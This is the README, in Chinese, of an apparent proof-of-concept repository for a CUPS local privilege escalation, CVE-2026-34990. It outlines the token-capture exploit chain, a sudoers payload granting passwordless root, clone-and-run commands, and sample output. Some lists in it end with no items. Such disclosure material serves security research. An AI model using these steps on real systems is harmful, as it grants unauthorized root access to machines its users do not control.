针对 CVE-2026-34990 的通用概念验证,这是一个影响 CUPS 2.4.16 的本地权限提升漏洞。
该漏洞利用演示了本地非特权用户如何滥用 CUPS 本地认证和打印机配置行为,以 root 身份获得任意文件写入权限并提升权限。
CVE-2026-34990 最初由以下人员报告:
Asim Viladi Oglu Manizada (@manizada)
我不是该漏洞的发现者。
本仓库包含我基于公开披露的技术信息改编并测试的概念验证实现。
从高层来看,漏洞利用链如下:
本地非特权用户
|
v
创建临时 CUPS 打印机
|
v
触发出站 IPP 认证
|
v
捕获 Authorization: Local 令牌
|
v
对特权 CUPS 操作重用该令牌
|
v
创建/持久化 file:// 打印机
|
v
提交打印任务
|
v
以 root 身份任意文件写入
|
v
权限提升
该 PoC 会自动使用当前本地用户名。
例如,当以以下用户执行时:
alice
演示载荷的目标为:
/etc/sudoers.d/alice-pwn
并尝试写入:
alice ALL=(ALL) NOPASSWD: ALL
成功利用后可通过以下命令验证:
sudo -n id
示例:
uid=0(root) gid=0(root) groups=0(root)
该 PoC 需要:
ipptoollplpstat检查 CUPS 版本:
cups-config --version
检查调度器是否正在运行:
lpstat -r
检查本地 CUPS 监听端口:
ss -lnt | grep 631
克隆仓库:
git clone https://github.com/Noorkhalel/CVE-2026-34990-CUPS-LPE-PoC.git
cd CVE-2026-34990-CUPS-LPE-PoC
运行:
python3 exploit.py
示例输出:
[*] user: <local-user>
[*] target: /etc/sudoers.d/<local-user>-pwn
[+] Local token: <LOCAL_TOKEN>
[*] attempt 1: <printer-name>
[+] ROOT via sudoers
uid=0(root) gid=0(root) groups=0(root)
[*] next: sudo -n bash
成功利用后:
sudo -n bash
该 PoC 有意编写为公开披露 CVE 的通用实现。
它不包含:
此代码仅供以下用途:
仅可在您拥有的系统或已获得明确授权的系统上使用此代码。
作者不对本软件的滥用负责。
漏洞发现:
Asim Viladi Oglu Manizada (@manizada)
PoC 改编、测试与文档:
Noor Khalil